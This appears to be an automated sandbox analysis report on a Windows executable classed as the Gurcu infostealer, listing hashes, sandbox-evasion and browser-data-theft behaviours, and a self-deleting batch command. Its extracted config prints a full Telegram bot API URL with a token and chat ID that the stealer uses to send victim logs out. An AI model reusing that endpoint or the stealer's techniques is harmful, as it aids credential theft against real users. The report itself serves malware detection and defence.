Analysis
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max time kernel
93s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
04-12-2024 09:01
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20240903-en
General
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Target
file.exe
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Size
5.6MB
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MD5
50a6880b7a2cfb41d50b9fa34438b8fa
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SHA1
c3c557e2a34e6ad0c7fc8b06591d0086a28a8051
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SHA256
2571a03d8d476c2e0eea7edfb0928706c8499ef590d24db9a3f5757bec795fe0
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SHA512
1f0a8de3b190a658aed5b7f7a6817ba5e99246b1ea988aa7ede16723d7e32003b5cd7bf9513c4c2ff0e1a621bbf62c5e10c403eb48e4c285d9821ac0a7fe7d8a
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SSDEEP
98304:aGl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6Uc:adOuK6mn9NzgMoYkSIvUcwti7TQlvciE
Malware Config
Extracted
gurcu
https://api.telegram.org/bot8121067342:AAFL-KN4aKsB4OBMVYX2uU3_ad7ylEISJbY/sendDocument?chat_id=7781867830&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20181.215.176.83%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan
Signatures
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Gurcu family
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation file.exe -
Loads dropped DLL 1 IoCs
pid Process 4380 file.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 4 raw.githubusercontent.com 3 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 11 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0 file.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier file.exe -
Suspicious behavior: EnumeratesProcesses 29 IoCs
pid Process 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe 4380 file.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4380 file.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4380 wrote to memory of 760 4380 file.exe 83 PID 4380 wrote to memory of 760 4380 file.exe 83
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4380 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpCA35.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpCA35.tmp.bat2⤵PID:760
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1.7MB
MD565ccd6ecb99899083d43f7c24eb8f869
SHA127037a9470cc5ed177c0b6688495f3a51996a023
SHA256aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4
SHA512533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d
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Filesize
172B
MD52f2ccaeb9dc8b41245fb55d0cd7519b1
SHA1eb3e8e817790e3914d5dd25dea57be55c4736489
SHA25646b55f7d1e7765e7488f1163d2277fc62d34d6e45453c833626972e610b0a7df
SHA51298a74777c5b8153a990cd3dec7f9257065f1dfb930eebfa8bfcde3b6c7fe084e248131a6311d0094ef12a05f7cd4800e386373ae7a11e6c5d29f63b886f663cb
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Filesize
116KB
MD5f70aa3fa04f0536280f872ad17973c3d
SHA150a7b889329a92de1b272d0ecf5fce87395d3123
SHA2568d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8
SHA51230675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84